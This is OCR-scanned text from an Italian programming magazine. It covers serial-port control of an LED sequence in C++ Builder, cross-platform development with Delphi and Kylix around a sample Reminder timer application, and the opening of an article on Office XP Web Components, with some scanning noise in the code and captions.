// Sets the Power LED 

if(PowerONSpeedButton->Down) 

SpuntoPowerLed->LedOn(); 
else 

SpuntoPowerl_ed->LedOff(); 

// Default (COMI) Port setup 

CombaseAddress=0x03f8; 

MCRAddress=CombaseAddress+4; 

LCRAddress=CombaseAddress+3; 

MSRAddress=CombaseAddress+6; 



L'accensione del circuito avviene ponendo la linea 



60 ►►► Maggi 



3 



http: //www. itport al.it 



DTR a livello logico HIGH; questo si ottiene forzando 
a 'l' il bit V del MCR della porta seriale. 

// 

void fastcall TForml: :PowerONSpeedButtonClick 

(TObject *Sender) 

{ //Power ON 

if(PowerONSpeedButton->Down) 

SpuntoPowerLed->LedOn(); 
else 

SpuntoPowerL_ed->LedOff(); //Power OFF 

} 

La selezione della porta COM, nel nostro caso COMI, 
oppure COM2 avviene per mezzo del codice che se- 
gue, per espansioni future sono stati definiti gli indi- 
rizzi dei registri LCR (Line Control Register) e MSR 
(Modem Status Register), oltre a MCR che abbiamo già 
citato: 



// 

void fastcall TForml: :COMlRadioButtonClick(TObject 

*Sender) 

{ 

// COMI Port setup 

CombaseAddress=0x03f8; 

MCRAddress=CombaseAddress+4; 

LCRAddress=CombaseAddress+3; 

MSRAddress=CombaseAddress+6; 
} 



II- 



void fastcall TForml: :COM2RadioButtonClick(TObject 

*Sender) 

{ 

// COM2 Port setup 

CombaseAddress=0x02f8; 

MCRAddress=CombaseAddress+4; 

LCRAddress=CombaseAddress+3; 

MSRAddress=CombaseAddress+6; 

} 

// 

VERIFICA DEI SEGNALI 

ALL'OSCILLOSCOPIO 

LOGICO 

Una volta completata la nostra realizzazione, siamo 
giunti al momento di collaudarne il funzionamento, 
verificandone i segnali di ingresso /uscita. 
Provvediamo a verificare un'ultima volta tutte le con- 
nessioni elettriche, nonché le polarità dei diodi e dei 
LED; completato il controllo, siamo pronti a collegare 
il circuito alla porta seriale del PC, ovviamente a com- 
puter rigorosamente spento. 

Accendiamo il calcolatore e lanciamo il programma 
di controllo, nonché quello di monitor della porta se- 
riale, contenuti nel file 'SpuntoControlloLuci.zip' repe- 



ribili nel CD allegato alla rivista e/o sul Web; provve- 
diamo subito a selezionare la porta seriale sulla qua- 
le è collegato il circuito da verificare. Premiamo ora il 
pulsante 'Oscilloscope Sweep' ed alimentiamo il circui- 
to premendo il tasto Power ON/OFF sulla schermata 
del programma di controllo. 

Serial Port Logic Tester 




Fig. 11: L'analisi del circuito all'oscilloscopio logi- 
co mostra la sequenza dei segnali generati dal- 
l'integrato 4017, in funzione del segnale di 
'Clock' inviato tramite il programma di gestione 
sulla linea RTS della porta seriale. 

Se tutto funziona come deve, dovremmo vedere ac- 
cendersi un LED alla volta in sequenza ed un dia- 
gramma simile a quello di figura dovrebbe apparire 
sull'oscilloscopio logico, se ciò non accade provve- 
diamo a spegnere tutto ed a ricontrollare tutte le con- 
nessioni elettriche del circuito. 
Lo schema può essere ampliato notevolmente, ad 
esempio aggiungendo in serie più integrati 4017 per 
aumentare il numero di uscite. 



CONCLUSIONI 

In queste pagine abbiamo proposto un sistema com- 
pleto, dotato di Hardware e Software per il controllo 
di una sequenza di luci. 

La trattazione è stata condensata all'essenziale per 
motivi di spazio, privilegiando la parte hardware, vi- 
sto il pubblico di programmatori verso cui è rivolta la 
rivista. 

Il lettore vorrà comprendere che nonostante quanto 
esposto in queste pagine sia stato debitamente verifi- 
cato e collaudato, tuttavia viene riportato a scopo il- 
lustrativo e di studio, pertanto l'editore e l'autore non 
sono da considerare responsabili per eventuali conse- 
guenze derivanti dell'utilizzo di quanto esposto in 
questa sede, soprattutto per la tipologia e la comples- 
sità dell'argomento. 

Un doveroso ringraziamento è dovuto inoltre alla 
'Philips Semiconductors', per la cortesia e la disponi- 
bilità dimostrata, nonché per avere permesso la pub- 
blicazione dei dati e delle caratteristiche dell'integra- 
to HEF4017. 

L'autore è lieto di rispondere a qualunque domanda 
od ad accettare qualunque tipo di consiglio all'indi- 
rizzo: spuntosoft@tiscali.it. 

Luca Spuntoni 




Elettronica 

e Delphi 



Il controllo 

di una sequenza 

di luci con 

la porta seriale 



Installazione del 
Componente 

/-ft L'installazione del 
--*/ componente può 
essere effettuata facil- 
mente selezionando 
Component / Instali 
Component , utilizzando 
C++ Builder 



http: //www. itport al.it 



9 9 



3 ►►► 61 



m 




Sistema 



File sul CD 



\soft\codice 
\reminder.zip 



File sul Web W 

www.itportal.it 
\iop69\reminder.zip 



Delphi e Kylix 

INSIEME PER LO SVILUPPO 
CROSS-PLATFORM 



Con le nuove versioni dei prodotti 

Borland diventa sempre più facile 

avvicinarsi alla programmazione 

su Linux, e si può cominciare a 

pensare ad un solo codice per i 

nostri progetti da condividere 

con Windows. 



Delphi è uno degli strumenti più noti della Bor- 
land con il quale si possono creare applicazio- 
ni in maniera molto rapida, ma senza rinun- 
ciare a tutte le potenzialità delle API di Windows. Ho 
sempre considerato Delphi il giusto compromesso tra 
Visual Basic (la vecchia versione, dato che ormai con 
.NET non c'è più una vera differenza di approccio tra i 
diversi linguaggi Microsoft) e Visual C++, perché men- 
tre con i prodotti Microsoft si doveva scegliere tra rapi- 
dità/semplicità e flessibilità /potenza, con l'Object Pa- 
scal e le VCL si potevano avere entrambi. 
Poi entrò in scena Kylix. Inizialmente si trattava 
di una nuova "forma" di Delphi, che diventava 
così uno strumento per lo sviluppo anche sotto 
Linux, utilizzando sempre l'Object Pascal come 
linguaggio di programmazione e CLX come li- 
breria in sostituzione delle VCL (troppo dipen- 
denti dalla piattaforma Windows). La geniale 
idea veniva a colmare una grossa lacuna nel 
mondo dei linuxiani, in cui non si trovava un 
tool di sviluppo di alto livello e facile utilizzo, 
eccezione fatta forse per KDevelop. Inoltre, 
un'ottima scelta strategica di Borland prevedeva 
(e prevede ancora) la distribuzione di una ver- 
sione ridotta (ma fondamentalmente utile) del 
prodotto con licenza d'uso gratuita per sviluppo 
open source. Il successo non deve essersi fatto 
attendere molto, visto che con l'ultima release di 
Kylix sono state introdotte una serie di novità 
che danno ad intendere che il tool sia tutt' altro 
che in fase discendente! 

Ad oggi siamo dunque arrivati a Kylix 3: non si 
tratta più solo di Delphi "portato" sotto Linux. 
È una piattaforma di sviluppo basata sulle libre- 
rie CLX con due ambienti IDE correlati che per- 
mettono di scrivere codice utilizzando sia C++ 
che Object Pascal interfacciandosi allo stesso so- 



strato (CLX, appunto). Quindi con Kylix adesso 
possiamo creare applicazioni per Linux e sce- 
gliere il linguaggio che preferiamo, e possiamo 
sfruttare le nostre competenze CLX sia con C++ 
che con Pascal! Si tratta quindi di fatto di due 
prodotti in uno... (Fig. 1) 




Fig. 1: La versione C++ di Kylix per Linux. 

Il vero punto di forza sta nel fatto che la libreria 
CLX, che si adopera sotto Linux con Kylix, è di- 
sponibile anche utilizzando Delphi per Win- 
dows. E non si tratta di una cosa da poco, perché 
così ci si aprono diverse possibilità di sviluppo 
cross-platform. Ma innanzitutto identifichiamo 
il problema: quella di creare codice che sia com- 
pilabile sotto diverse architetture e/o sistemi 
operativi è una necessità vecchia come il mondo 
(o poco meno...). Per venire incontro a tale esi- 
genza si possono seguire diverse strade: si può 
scrivere un'applicazione diversa per ogni piat- 
taforma, di modo che tutte facciano le stesse co- 
se, ma ognuna sfrutti le caratteristiche tipiche 
del sistema per cui è scritta; oppure si può fare il 
porting di un'applicazione esistente sotto una 
piattaforma utilizzando delle librerie di emula- 
zione, che ricreino un ambiente equivalente a 
quello del programma originale. In questi due 
casi non si rinuncia a nessuna delle potenzialità 
di ogni piattaforma target, ma si sacrificano da 
un lato la mantenibilità del codice e dall'altro la 
performance del prodotto finale. Un compro- 
messo è quello offerto dallo sviluppo cross- 
platform così come inteso, per esempio, da Kylix 
e Delphi: si crea una libreria di base che rappre- 



62>» M a 



9 9 



3 



http: //www. itport al.it 



senta il massimo comune divisore delle funzio- 
nalità dei vari sistemi di esecuzione (nel caso 
sotto mano, Linux e Windows) e si sviluppa il 
codice con tale libreria: il risultato sarà un appli- 
cativo compilabile senza grossi problemi sotto 
entrambe le piattaforme. Con questa soluzione 
intermedia si sacrifica un po' la flessibilità e la 
potenza della libreria usata, ma non si perde in 
termini di mantenibilità e di performance. 
Avrete capito a questo punto che esiste la possi- 
bilità di sviluppare un'applicazione con Delphi 
e compilarla direttamente sotto Linux utilizzan- 
do Kylix (o viceversa), con il piacevole risultato 
di vedere il nostro programma girare in due am- 
bienti così diversi per natura e architettura. Il 
tutto si basa - come ho già accennato - sul fatto 
che la libreria CLX è praticamente la stessa sia in 
Delphi che in Kylix. Tre sono le sottolibrerie fon- 
damentali: BaseCLX per le chiamate ai servizi 
fondamentali del sistema operativo, NetCLX per 
l'accesso alle funzionalità di rete, DataCLX per 
l'accesso ai dati da fonti SQL. Infine la sottoli- 
breria VisualCLX gestisce l'ambiente grafico ba- 
sato su finestre (XWindow o Windows) offrendo 
le caratteristiche basilari di un ambiente grafico. 
È utile far notare in questo contesto che svilup- 
pando con Delphi sotto Windows si ha una scel- 
ta per quello che riguarda lo sviluppo di appli- 
cazioni con interfaccia grafica, perché esiste 
un'alternativa a VisualCLX che si chiama Win- 
CLX la quale sfrutta appieno le API di Windows, 
anche se non di creare codice portabile sicura- 
mente offre più flessibilità nella gestione e uti- 
lizzo del sistema operativo Microsoft. 
Nella terminologia di Delphi e Kylix, fermo re- 
stando che BaseCLX, NetCLX e DataCLX sono 
sempre le stesse, si parla di CLX quando la li- 
breria grafica utilizzata è VisualCLX, mentre si 
dice VCL quando si utilizza WinCLX. Anche nel 
seguito di questo articolo utilizzeremo questa 
convenzione. 



IL PORTING DI PROGETTI 
DELPHI E KYLIX 

Come si procede quando si vuole creare un'ap- 
plicazione che giri sotto Windows e sotto Linux? 
Si possono fondamentalmente percorrere due 
strade diverse ma confluenti: l'obiettivo è sem- 
pre quello di avere del codice che utilizza le li- 
brerie CLX. Per cui o creiamo un progetto CLX o 
migriamo un progetto VCL. Quest'ultima solu- 
zione non è sempre facilissima: dobbiamo con- 
vertire i file .dfm in .xfm e conseguentemente mo- 
dificare le direttive del compilatore l$R *.dfmj in 
{$R *.xfmj, mentre nella clausola uses importere- 
mo i componenti CLX invece di quelli VCL (ad 
esempio, QGraphics, QStdCtrìs, QForms, etc). 
È altresì necessario però cercare alternative al 



Data Modules | InlraWeb | WebServices | Business | WebSnap | Web Docurnents 
Ne™ | ActiveX | Multitier | Proiectl | Forms | Dialogs | Projects 






Application Batch File 

P9 IS 



Component Console 

Application 



EW.IL 



□ 



Control Panel Control Panel DataModule DLL Wizard Form 

Application Module 



CI 

Frame 



Package Project Group Resource DLL Service 
Wizard 



C Copy 



Cancel Help 



Fig. 2: La creazione di un progetto CLX 

codice specifico di Windows o includerlo in 
blocchi !$IFDEF MSWINDOWS}, nonché correg- 
gere i punti in cui si fa riferimento a percorsi di 
file utilizzati nel codice (avvalendosi eventual- 
mente anche di PathSep, PathDeìim e DriveDelim 
in Syslltils). 

È presumibile che in un programma scritto uti- 
lizzando VCL si faccia molto uso di peculiarità 
Windows non disponibili sotto Linux e quindi 



Le direttive di compilazione 

Oltre alle istruzioni Object Pascal, nei nostri pro- 
grammi possiamo fornire al compilatore istruzioni 
per guidarlo nella creazione dell'applicazione ese- 
guibile. Nel contesto dell'argomento che stiamo 
trattando le direttive ci servono per poter esclude- 
re o includere certi blocchi di codice dalla compila- 
zione a seconda della piattaforma su cui sta lavo- 
rando il compilatore. In questo modo è possibile 
utilizzare certe funzionalità specifiche di ogni ar- 
chitettura, senza inficiare la portabilità del prodot- 
to finale. È meglio limitare al minimo indispensabi- 
le l'uso di questo trucco, poiché mina un po' la 
mantenibilità e leggibilità del codice. 
La Borland, consapevole della potenzialità cross- 
platform dei suoi prodotti Kylix e Delphi, ha fatto 
sì che siano definite delle variabili d'ambiente re- 
lative al sistema operativo in esecuzione: si tratta 
di LINUX, MSWINDOWS, WIN32 e WIN64. Potete 
utilizzare queste costanti con la direttiva {$IF- 
DEF} per testarne l'esistenza e includere codice 
specifico. 
Ad esempio: 

{$IFDEF MSWINDOWS} 

strFileName := 'C:\Federico\Settings\reminder.ini'; 

{$ENDIF> 

{$IFDEF LINUX} 

strFileName := yhome/federico/settings/reminder.cfg , ; 

{$ENDIF} 



Notate che per Windows ci sono tre definizioni: 
una generica (MSWINDOWS), una per i sistemi a 
32 bit (WIN32), e l'ultima per i nuovi sistemi a 64 
bit (WIN64). 

È consigliabile utilizzare sempre quella generica a 
meno di essere a conoscenza di problemi del vo- 
stro codice con una o l'altra versione. 




Sistema 



Delphi e Kylix 

insieme per lo 

sviluppo 

cross-platform 



Ó 



CLX 

Nella terminologia 
di Delphi e Kylix, 
fermo restando che Ba- 
seCLX, NetCLX e Data- 
CLX sono sempre le 
stesse, si parla di CLX 
quando la libreria gra- 
fica utilizzata è Visual- 
CLX, mentre si dice VCL 
quando si utilizza Win- 
CLX. Anche nel seguito 
di questo articolo uti- 
lizzeremo questa con- 
venzione. 



http: //www. itport al.it 



M a g g 



2 3 ►►► 63 



m 




Sistema 



Delphi e Kylix 

insieme per lo 

sviluppo 

cross-platform 



Unicode 

^s Linux e Windows 
<J/ differiscono anche 
sensibilmente nel mo- 
do in cui vengono ge- 
stite le stringhe Unico- 
de. Mentre per la Mi- 
crosoft Unicode e le 
stringe MBCS arrivano 
al massimo a due byte 
(UTF-16), il sistema 
operativo open-source 
supporta caratteri Uni- 
code fino ad un massi- 
mo di addirittura 6 by- 
te, e la definizione di 
WideChar tra i due si- 
stemi è diversa, perché 
per Windows si tratta 
di UTF-16 (2 byte), 
mentre Linux preferi- 
sce UTF-32 (4 byte). 



probabilmente il lavoro da fare per rendere por- 
tabile il progetto non sarà poco! Se si sta crean- 
do un nuovo progetto è consigliabile creare di- 
rettamente un'applicazione CLX (menu File I 
New Fig. 2). In questo modo sarà attivata la tool- 
bar CLX, con i componenti compatibili tra le due 
piattaforme. Ci sono degli accorgimenti da tene- 
re a mente quando si vuole che il proprio codice 
Object Pascal sia portabile tra Linux e Windows, 
e di questi parleremo nel prossimo paragrafo si 
può comunque affermare, con abbastanza preci- 
sione, che in un progetto CLX non c'è troppo da 
fare per garantire la portabilità. 



jnl.il 



File Edit View Favorites Tools Help 



<r=Back - ^ ■• ft] | ^Search f£jFolders 0History | %S Qs X ^J M' 



Address |Q Reminder 



•*•! tf^Go 



Reminder 



[sa] [sa] [sa] [sa] 

MainUnit.^ddp IA< rrl Ititi "<pa5 MafrrUntl "^sfrfl MainUnit.dcu 



Select ari item to vlew its 



My Docurnents 
My N atw or k Placa; 
My Computer 



B ^ P W 

MainUnit.ddp MainUnit.pas MainUnit.xfm Reminder,- 



: ! :':.:f::: ìtfi 



Reminder, cfg Reminder, dof Reminder, dpr Reminder.exe 






|l3object(s) 



|+12 KB g My Computer 



Fig. 3: I file del progetto Reminder sotto Windows 



In cosa consta dunque questa portabilità? In 
realtà, una volta che ritenete di aver scritto del 
codice valido per le due piattaforme che Borland 
supporta, il tutto si esaurisce nel trasferimento 
da una piattaforma all'altra del progetto: copia- 
te i file via FTP o SMB sul PC di destinazione, 
aprite il progetto con Kylix o Delphi resettate, se 
necessario, le opzioni di progetto, e poi dedica- 
tevi alla procedura di compile-test-run, che con 
ogni probabilità verrà portata a termine senza 
problemi. 



Cosa trovo nel progetto? 

Per vostro riferimento ecco un veloce riassunto dei 
principali tipi di file che trovate nella cartella di un 
progetto creato con Delphi per Windows o Kylix: 



File di unità Pascal (units) 
File dei packages Borland 
Definizione dei form 

Risorse applicative 

File di descrizione del progetto 

Descrizione delle opzioni 
di progetto 

Opzioni di progetto di default 
■kof (Kylix) 



.pas 

.dpk 

.dfm (VCL) 
.xfm (CLX) 



.dpr 

■cfg (Delphi Win) 
.conf (Kylix) 

.dof (Delphi Win) 



Nelle Fig. 3 e 4 vedete le cartelle dello stesso pro- 
getto sotto Windows e Linux. 



Location Eflit Vlew Go Bookmarts Tools 
Q. Location: |t': file:Aoot/mmincier 




*m t. m 




E 
•iy 


-.ftHoot Director, g 


ì 


n 


ìémì \tk*i 


« 


«Pi 


,-9loot 




-.'f\:\.;- Uir:<; 


M?(i-"lrti-a'Ji:S 


■.■.'.■■■ ■ ■ . ■ 


vl.ìMìiiiìh-.-Ti.: 


M%inuriit-xfiTi 




a 

il, 

j 





<Q 


«0 tì 


y 


y 


• -gì» 

■S «.round 
■ÉS.i.c 

a-S-t 

■Sopt 
aiìprra 
=-%ooi 
+ ^Desktop 




i 








■H»io 
H'%tap 
B-Su.r 














F5 


• 14 Ite iti s 


14 Flles (565. 


KB Total)- Directorles 




rF 



Fig. 4: I file del progetto Reminder sotto Linux. 

COME SCRIVERE 
APPLICAZIONI PORTABILI 

Sarebbe fuorviante non tenere conto di alcune 
difficoltà intrinseche allo sviluppo cross-plat- 
form che per quanto possano venirci incontro i 
tool della Borland, vanno comunque affrontate e 
gestite. 

Saltano subito all'occhio le differenze tra i due 
sistemi operativi che possono comportare delle 
necessità di aggiustamento a livello anche del 
codice di programmazione. Innanzitutto i file 
system utilizzati (NTFS o FAT32 da un lato, e 
EXT2 o EXT3 dall'altro) sono profondamente 
dissimili, sia nell'indirizzamento dei file (ad 
esempio confronta c:\directory\file.ext per Win- 
dows con Itmpl directory lf ile. ext sotto Linux) che 
nei criteri di protezione delle varie risorse: l'ac- 
cesso ai file sotto Linux è basato su una masche- 
ra di permessi a 9 bit che distingue l'utilizzo in 
lettura, scrittura ed esecuzione per il proprieta- 
rio del file, il gruppo del proprietario e tutti gli 
altri, mentre si sa che sotto Windows, con tecno- 
logia NT, i permessi di accesso al file system so- 
no molto più complessi e granulari. Come pote- 
te immaginare, di questo bisogna tenere conto 
quando nel proprio codice si fa riferimento a dei 
file del sistema operativo e risulta quindi neces- 
sario avvalersi da un lato delle direttive di com- 
pilazione l$IFDEFj per biforcare gli statement 
che si riferiscono a nomi di file o cartelle e dal- 
l'altro lato delle variabili presenti in Syslltils per 
creare nomi di file corretti a seconda del sistema. 
Linux e Windows differiscono anche sensibil- 
mente nel modo in cui vengono gestite le strin- 
ghe Unicode. 

Mentre per la Microsoft Unicode e le stringe 
MBCS arrivano al massimo a due byte (UTF-16), 
il sistema operativo open-source supporta carat- 
teri Unicode fino ad un massimo di addirittura 6 
byte, e la definizione di WideChar tra i due siste- 
mi è diversa, perché per Windows si tratta di 



64 ► ► ► M a g g i 



3 



http: //www. itport al.it 



UTF-16 (2 byte), mentre Linux preferisce UTF-32 
(4 byte). Va anche sottolineato, però, che le rou- 
tine di gestione delle stringhe messe a disposi- 
zione dal BaseCLX ci sollevano da buona parte 
di questi pensieri: resta importante conoscere 
queste differenze per quando si lavora con le 
stringhe a basso livello, ma per lo più su questo 
fronte non si dovrebbe incappare in grosse diffi- 
coltà. 

In seguito, dovremo tenere in considerazione i 
diversi modi in cui viene concepito il codice riu- 
tilizzabile nella forma di librerie dinamiche da 
parte dei due sistemi operativi. Quelli che sotto 
Windows sono i Ali, per Linux si chiamano .so e, 
sebbene la loro funzione e la logica che vi sta 
dietro sia pressoché identica, quando ne fate uso 
- di uno o dell'altro - vi troverete a dover mani- 
polare un po' i vostri programmi per renderli di- 
sponibili per la compilazione anche sotto la con- 
troparte Kylix o Delphi. 

Altri problemi possono sorgere a causa delle di- 
verse tecnologie di componenti in uso sui due si- 
stemi: tutta la parte DDE /COM/ ActiveX è com- 
pletamente assente sui PC con Linux, per cui se 
ne dovrà fare a meno del tutto e trovare soluzio- 
ni alternative anche sotto Windows. Da sottoli- 
neare anche la mancanza dei componenti ADO 
(ActiveX Data Objects) e la conseguenza indispo- 
nibilità dei componenti di accesso ai dati ADO, 
che la Borland aveva messo a disposizione con 
Delphi: restano comunque a disposizione i com- 
ponenti dbExpress e tutti gli altri oggetti per l'ac- 
cesso semplificato a fonti dati SQL. A livello di 
gestione dei protocolli di rete, invece, la diffe- 
renza sta nella tipologia di socket utilizzati: 
Windows utilizza le API di WinSock mentre con 
Linux si hanno a disposizione i socket BSD, ma 
di fatto i due tipi si occupano delle stesse cose e 
sono funzionalmente equivalenti. 
Lato email, inoltre, non esiste sotto Linux la li- 
breria MAPI (per la gestione appunto dei mes- 
saggi di posta elettronica), ma ci si può servire 
direttamente dei protocolli POP3 e SMTP. Come 
ultima cosa, ricordiamo le differenze tra i siste- 
mi di gestione degli eventi che esistono fra le 
API di Windows e le librerie Qt utilizzate da 
CLX. Le divergenze tra i due framework porta- 
no a non poter determinare sempre, con certez- 
za matematica, l'ordine in cui determinati even- 
ti saranno gestiti e da chi, quindi, conviene sem- 
pre provare su entrambe le piattaforme prima di 
sentirsi sicuri del successo del proprio lavoro. 
Purtroppo le differenze non sono terminate qui: 
sviluppando progetti cross-platform incapperete 
sicuramente in incongruenze, altre differenze, 
problemi, bachi... ma con questo non voglio sco- 
raggiarvi! Innanzitutto adesso vedremo un sem- 
plice esempio in cui tutto funziona e fila liscio 
come l'olio, e poi - anche in applicazioni più 



complesse - con l'help online, un tocco di creati- 
vità e tanta pazienza si può risolvere qualunque 
problema. 



UN'APPLICAZIONE 
PORTABILE 

Dopo questa panoramica sui vantaggi che lo svi- 
luppo con Kylix e Delphi ci offre in termini di 
creazione di applicazioni portabili e sulle diffi- 
coltà che si possono incontrare, è giunto il mo- 
mento di vedere un esempio pratico di un pro- 
getto che compileremo sotto Linux e sotto Win- 
dows. Si tratta di un programma molto semplice 
con il quale si può creare un semplice timer con 
conteggio alla rovescia (una specie di sveglia 
con progress bar!). 

Il reminder, così chiameremo la nostra applica- 
zione, consta in un'unica finestra da cui si può 
impostare l'ora a cui si desidera che il conteggio 
termini. Si fa partire il timer con un click del pul- 
sante, seguirà quindi l'attivazione di un control- 
lo Timer che attiverà il conteggio; dopo aver vi- 
sualizzato una serie di informazioni sul form e 
attivato la progress bar che mostra graficamente 
lo scorrere del tempo. Il codice dell'applicazione 
è concentrato tutto nell'evento di click del pul- 



ii click del pulsante di start 
del timer 

procedure TfrmReminder,btnStartClick(Sender: TObject); 

begin 

{ Recupera l'ora attuale e l'ora della sveglia } 

tmStart := NowQ; 

tmEnd := StrToDateTime(edtTime.Text); 



if tmEnd < 1 then 



begin 



tmEnd := tmEnd + DateQ; 



end; 



{ Calcola il numero di secondi da attendere } 
totalTime := (tmEnd - tmStart) * 86400; 



{ Imposta la progress bar } 



progTimer.Min 



progTimer.Max := Floor(totalTime); 



progTimer.Step := 1; 



{ Mostra le informazioni riassuntive } 

IbIStart.Caption := 'Start Time: ' + 
DateTimeToStr(tmStart); 

IblEnd.Caption := 'End Time: ' + 

DateTimeToStr(tmEnd); 

IbITotal.Caption := 'TotalTime: ' + 

IntToStr(Floor(totalTime)) + ' secs'; 

{ Attiva il timer } 

tmrReminder.Enabled := True; 

end; 




Sistema 



Delphi e Kylix 

insieme per lo 
sviluppo 
cross-pia tform 



DLL o SO 

r-S, Quelli che sotto 
<^/ Windows sono i 
.d II, per Linux si chia- 
mano .so e sebbene la 
loro funzione e la logi- 
ca che vi sta dietro sia 
pressoché identica, 
quando ne fate uso - 
di uno o dell'altro - vi 
troverete a dover ma- 
nipolare un po' i vostri 
programmi per render- 
li disponibili per la 
compilazione anche 
sotto la controparte 
Kylix o Delphi. 



http: //www. itport al.it 



g g 



3 ►►► 65 



m 




Sistema 



Delphi e Kylix 

insieme per lo 

sviluppo 

cross- pia t foriti 



Progress bar 

/-a La gestione della 
V,/ progress bar si ba- 
sa sul fatto che una da- 
ta in Object Pascal è un 
doublé in cui l'intero (1) 
è un giorno (86400 se- 
condi), per cui imposto 
il minimo e il massimo 
del controllo di monito- 
raggio del tempo, ri- 
spettivamente su e 
sul numero di secondi 
che devono trascorrere 
per raggiungere l'ora di 
"sveglia". Ad ogni ese- 
cuzione del timer se 
non si è raggiunta l'ora 
richiesta si fa avanzare 
la progress bar di una 
unità (un secondo), al- 
trimenti viene mostrata 
una message box di av- 
vertimento, si interrom- 
pe il timer, e viene re- 
settata la progress bar. 



sante. La gestione della progress bar si basa sul 
fatto che una data in Object Pascal è un doublé 
in cui l'intero (1) è un giorno (86400 secondi), 
per cui imposto il minimo e il massimo del con- 
trollo di monitoraggio del tempo, rispettiva- 
mente su e sul numero di secondi che devono 
trascorrere per raggiungere l'ora di "sveglia". 
Ad ogni esecuzione del timer se non si è rag- 
giunta l'ora richiesta si fa avanzare la progress 
bar di una unità (un secondo), altrimenti viene 
mostrata una message box di avvertimento, si 
interrompe il timer, e viene resettata la progress 
bar. Sebbene l'applicazione sia molto semplice, è 
interessante vedere come tutto funzioni alla per- 
fezione senza necessità di modificare una singo- 
la virgola. Il tutto è stato sviluppato con Delphi 
7 per Windows, successivamente si è copiato la 
cartella del progetto sul PC con Linux, eseguen- 
do senza problemi l'applicazione. 
È stato necessario apportare alcune correzioni 
con Kylix. Per concludere abbiamo effettuato la 
prova del nove: anche sotto Delphi siamo riusci- 
ti ad eseguire il codice corretto con Kylix senza 
nessuna difficoltà. Nelle Fig. 5 e 6 potete osser- 
vare la stessa applicazione compilata ed esegui- 
ta sotto i due sistemi operativi supportati. 



-** Reminder Application 



nji£j 



Start Time: 26/03/2003 00:13:36 
End Time: 26/03/2003 00:1 6:00 



Total Time: 143 secs 

Time Elapsed: 1 1 Time Remaining: 1 32 



III 



Fig. 5: L'applicazione Reminder eseguita sotto 
Windows 



Ovviamente non sempre le cose andranno così 
lisce come in questo caso, perché lavorando su 
progetti più complessi è facile che si venga ad 
aver a che fare con alcune delle caratteristiche 
poco portabili e che si renda quindi necessario 
studiare una qualche soluzione che comporti un 
po' più di complessità e magari delle biforcazio- 



SysUtils e il file system 

Alcune costanti di SysUtils consentono di compor- 
re dei nomi di file in maniera indipendente dal si- 
stema di deployment: separate le cartelle in un 
path con PathDelim (vale "\" per Windows e "/" 
per Linux), separate più percorsi di file con Path- 
Sep (";" in Windows e ":" in Linux) e infine utiliz- 
zate DriveDelim per determinare come viene sepa- 
rata la lettera del drive dal resto del path (":" sot- 
to Windows e "" sotto Linux dato che non esistono 
le lettere di drive). 



Rem rider Time: 



Start Time: 03/26/2003 02:46:56 AM 
Enti Time: 03/26/2003 02:50:00 AM 



Total Time: 1 63 secs 

Time Elapsed: 26 Time Remaining: 1 57 



■Hill 



Fig. 6: La stessa applicazione Reminder sotto 
Linux. 

ni di codice tramite le direttive di compilazione. 
Converrete comunque, che con Delphi & Kylix 
abbiamo per le mani un ottimo strumento per 
sviluppare sui due sistemi operativi più diffusi e 
che per chi già lavora con Delphi, Kylix può ri- 
verarsi un'opportunità imperdibile di avvicinar- 
si alla programmazione Linux. 

Federico Mestrone 



Il codice del timer 
(eseguito ogni 1 sec) 

procedure TfrmReminder.tmrReminderTimer 

(Sender: TObject); 

var 

elapsedTime: Doublé; 

begin 

{ Calcola il tempo trascorso in secondi } 

elapsedTime := (NowQ - tmStart) * 86400; 

if elapsedTime >= totalTime then 

begin 

{ Il timer è stato raggiunto } 

tmrReminder.Enabled := False; 

progTimer.Max := 100; 

progTimer.Min := 0; 

progTimer.Position := 100; 

elapsedTime := totalTime; 

Application. MessageBox('Agisci su questo 

reminder!', 'Your Reminder'); 

end 



else 

begin 

{ Timer non raggiunto - aggiorna la progress bar } 
progTimer.StepItQ; 



end; 



{ Aggiorna la vista del form e il conteggio del tempo 
trascorso e mancante } 



progTimer.UpdateQ; 



IblElapsed.Caption := 'Time Elapsed: ' + 

IntToStr(Floor(elapsedTime)) + ' Time Remaining: 
' + IntToStr(Floor(totalTime - elapsedTime)); 



end; 



66**^ M a 



g g 



3 



http: //www. itport al.it 



<4-4-444-444-44-4-44-4<44-444-44-4-4 S 

I componenti 



s t e m a 



WEB DI OFFICE XP 



Office XP include un set di 

controlli ActiveX in grado di 

facilitare la creazione e la 

gestione di pagine Web 

professionali. 



Microsoft Office XP Web Components (OWC) 
è un set di controlli ActiveX disponibili al- 
l'interno del CD di Office XP (owclO.msi) e 
solitamente installati per default al momento della con- 
figurazione di questa suite sul proprio PC. Attraverso 
questi componenti è possibile pubblicare sul Web i pro- 
pri progetti, siano essi fogli di calcolo, grafici, database, 
ecc., offrendo a tutti gli utenti la possibilità d'interagire 
con essi attraverso Microsoft Internet Explorer. 
Quando realizziamo una pagina Web che include uno 
o più istanze di questi componenti, un utente è in gra- 
do d'interagire con i dati in essa contenuti inserendo 
valori personali, modificando il layout di una tabella 
pivot, visionando risultati automatici previsti da for- 
mule preconfezionate, ecc. Naturalmente, occorre esse- 
re in possesso della necessaria licenza d'uso di Office 
XP prima di poterli sfruttare appieno (modalità interat- 
tiva). In particolare e senza addentrarci troppo nei det- 
tagli, chiunque possieda una licenza Office XP valida, 
sarà in grado sia di visualizzare sia di modificare i dati 
contenuti all'interno di una pagina Web. Inoltre, è bene 
anche precisare che gli OWC sono supportati corretta- 
mente da Internet Explorer 4.01 o superiore e che con 
Netscape Navigator è possibile riscontrare diverse ano- 
malie. Comunque sia, per chiunque avesse la necessità 
di sfruttarli anche con quest'ultimo browser, sono di- 
sponibili diversi plug-in di terze parti (non espressa- 
mente riconosciuti da Microsoft) che consentono d'in- 
terpretare correttamente questi componenti quando 
presenti all'interno di una pagina Web. 
Al momento della creazione di una pagina Web che do- 
vrà contenere uno o più controlli OWC, è necessario 
che l'autore della stessa abbia configurato tali compo- 
nenti opportunamente. In particolare, occorre specifi- 
care una cartella d'installazione ed un link al relativo 
indirizzo nella pagina d'installazione dei componenti. 
In questa maniera, quando un utente tenterà di aprirla 
e qualora non li avesse disponibili sul proprio PC, gli 
verrà mostrata a video un'opportuna finestra di avver- 
timento che gli offre la possibilità di scaricarli diretta- 
mente dal server di riferimento. 



I controlli ActiveX facenti parte del pacchetto degli 
OWC sono, in definitiva, i seguenti: 

• Spreadsheet: questo controllo consente di gestire 
un oggetto molto simile ad un foglio di lavoro di 
Excel. Attraverso esso, un utente ha la possibilità 
